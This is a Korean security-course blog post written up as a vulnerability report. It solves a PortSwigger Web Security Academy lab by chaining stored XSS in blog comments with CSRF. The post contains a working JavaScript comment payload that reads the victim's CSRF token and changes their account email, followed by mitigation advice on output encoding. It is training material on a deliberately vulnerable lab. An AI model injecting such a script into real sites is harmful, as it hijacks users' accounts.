Rookies/클라우드 기반 취약점 진단 및 대응 실무

[SK shieldus Rookies 19기] 04 - Stored XSS + CSRF (Burp Suite Academy)

bento 2024. 5. 13. 01:16
[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정

https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf

 

Lab: Exploiting XSS to perform CSRF | Web Security Academy

This lab contains a stored XSS vulnerability in the blog comments function. To solve the lab, exploit the vulnerability to perform a CSRF attack and change ...

portswigger.net

 

가. 문제점

[CASE 4] CSRF

Web Security Academy 서비스 내 일부 페이지에서 XSS 취약점을 이용하여 악성 스크립트 삽입 및 실행이 가능하며, 사용자가 자신의 의지와 무관하게 공격자가 의도한 행동을 하여 특정 웹 페이지를 보안에 취약하게 한다거나 수정, 삭제 등의 작업을 하게 만들 가능성이 존재합니다.

그림 1. 블로그 내 My account 확인

 

그림 2. 로그인 기능 확인

 

그림 3. 로그인 후 이메일 변경 기능 확인

 

그림 4. 정상 과정 진행
5. 숨겨진 csrf 토큰과 전달되는 파라미터 값 확인

 

그림 6. 블로그 내 포스트 확인

 

그림 7. 포스트 댓글 작성

 

<script>
	var req = new XMLHttpRequest();
	req.addEventListener("load", handleResponse);
	req.open('get','/my-account');
	req.send();

	function handleResponse() {
		console.log(`Loaded junshae: ${req.status} ${req.response}`);
		var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
		console.log(`junshae : ${token}`)
		var changeReq = new XMLHttpRequest();
		changeReq.open('post', '/my-account/change-email');
		changeReq.send('csrf='+token+'&email=hack@hack.com');
	};
</script>

그림 8. 댓글 작성 시 csrf 스크립트 삽입

 

그림 9. 포스트 접근 시 삽입한 csrf 스크립트 작동 확인

 

그림 10. 이메일 변경 확인

 

나. 관련 URL

번호 경로 URL
1 View Post > Post Comment /post/comment?comment
2 My Account > Login > Update email /my-account/change-email

 

다. 해결 방안

모든 입/출력 값에 대한 필터링시 아래와 같은 문자들에 대해서 필터링을 설정 해야 합니다. 

From To
< & l t;
> & g t;
( & # 4 0;
) & # 4 1;
# & # 3 5;
& & # 3 8;
' & # 3 9;
"
&quot;

 

 Keyword 필터링은 대/소문자 구분 없이 적용하여야 하며 일괄 적용 시 오류가 발생할 수 있으니 서비스 및 운영상의 영향도를 확인하시어 적용해야 합니다.

728x90